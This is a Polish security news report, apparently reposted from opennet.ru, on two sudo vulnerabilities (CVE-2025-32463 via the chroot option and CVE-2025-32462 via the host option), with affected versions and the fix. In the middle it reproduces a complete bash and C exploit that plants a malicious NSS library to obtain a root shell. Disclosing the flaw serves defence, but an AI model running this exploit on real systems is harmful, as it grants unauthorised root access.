Wady w narzędziu sudo, które umożliwiają uzyskanie uprawnień roota w systemie

W pakiecie sudo, używanym do organizacji wykonywania poleceń w imieniu innych użytkowników, wykryto lukę (CVE-2025-32463), która pozwala każdemu użytkownikowi bez uprawnień na wykonanie kodu z prawami roota, nawet jeśli użytkownik nie jest wymieniony w konfiguracji sudoers. Problema dotyczy dystrybucji, które używają pliku konfiguracyjnego /etc/nsswitch.conf, na przykład możliwość wykorzystania tej luki została zademonstrowana w Ubuntu 24.04 i Fedora 41.

Luka występuje w domyślnej konfiguracji i została potwierdzona w wersjach sudo od 1.9.14 do 1.9.17 (może dotyczyć wszystkich wersji począwszy od 1.8.33). Problema została usunięta w aktualizacji sudo 1.9.17p1. Stan nowej wersji pakietu lub przygotowania poprawki można sprawdzić w dystrybucjach na następujących stronach (jeśli strona jest niedostępna, oznacza to, że deweloperzy dystrybucji jeszcze nie zaczęli rozważania problemu): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo i Arch (1, 2).

Problem wynika z tego, że przy zastosowaniu opcji „-R” („—chroot”) do uruchamiania poleceń w chroot-środowisku z wybranym przez użytkownika katalogiem głównym, plik /etc/nsswitch.conf był ładowany w kontekście nowego katalogu głównego, a nie katalogu systemowego. Użytkownik może używać własnego katalogu jako katalogu głównego dla chroot, dzięki czemu może umieścić w nim plik konfiguracyjny nsswitch.conf. Kontrolując plik /etc/nsswitch.conf ładowany przez podsystem NSS (Name Service Switch), użytkownik może dodać do niego ustawienia, które powodują wywołanie dodatkowych obsługujących. Takie kontrolery są ładowane przez NSS w postaci bibliotek współdzielonych, które również można umieścić w katalogu kontrolowanym przez użytkownika. Podstawiając swoją bibliotekę, użytkownik może osiągnąć wykonanie z niej kodu z prawami roota, ponieważ przetwarzanie NSS odbywa się przed zrzuceniem uprawnień.

Przykład exploita: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

W wersji sudo 1.9.17p1 naprawiono również kolejną lukę (CVE-2025-32462), która pozwalała na wykonywanie poleceń z uprawnieniami root, ale ujawniała się tylko w konfiguracjach sudoers, w których parametr „host” był ustawiony na wartość inną niż ALL lub nazwa bieżącego hosta. Luka ta była spowodowana błędem, przez który opcja „-h” („—host”) działała nie tylko w połączeniu z opcją „-l” („—list”) do wyświetlania uprawnień związanych z hostem, ale także przy uruchamianiu poleceń. W ten sposób użytkownik mógł przy wywoływaniu sudo określić dowolny host i obejść ograniczenia reguł sudoers związanych z nazwą hosta.

Aby przeprowadzić atak, użytkownik musi być wymieniony w sudoers, na przykład, jeśli w ustawieniach jest określone „testuser testhost = ALL”, to użytkownik „testuser” mógłby określić „sudo -h testhost” i uruchomić polecenia z uprawnieniami root na dowolnych hostach, a nie tylko na hoście testhost. Konfiguracje z ustawieniami typu „testuser ALL = ALL” lub bez wyraźnych reguł dla konkretnego użytkownika nie były podatne na tę lukę.

Źródło: opennet.ru

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster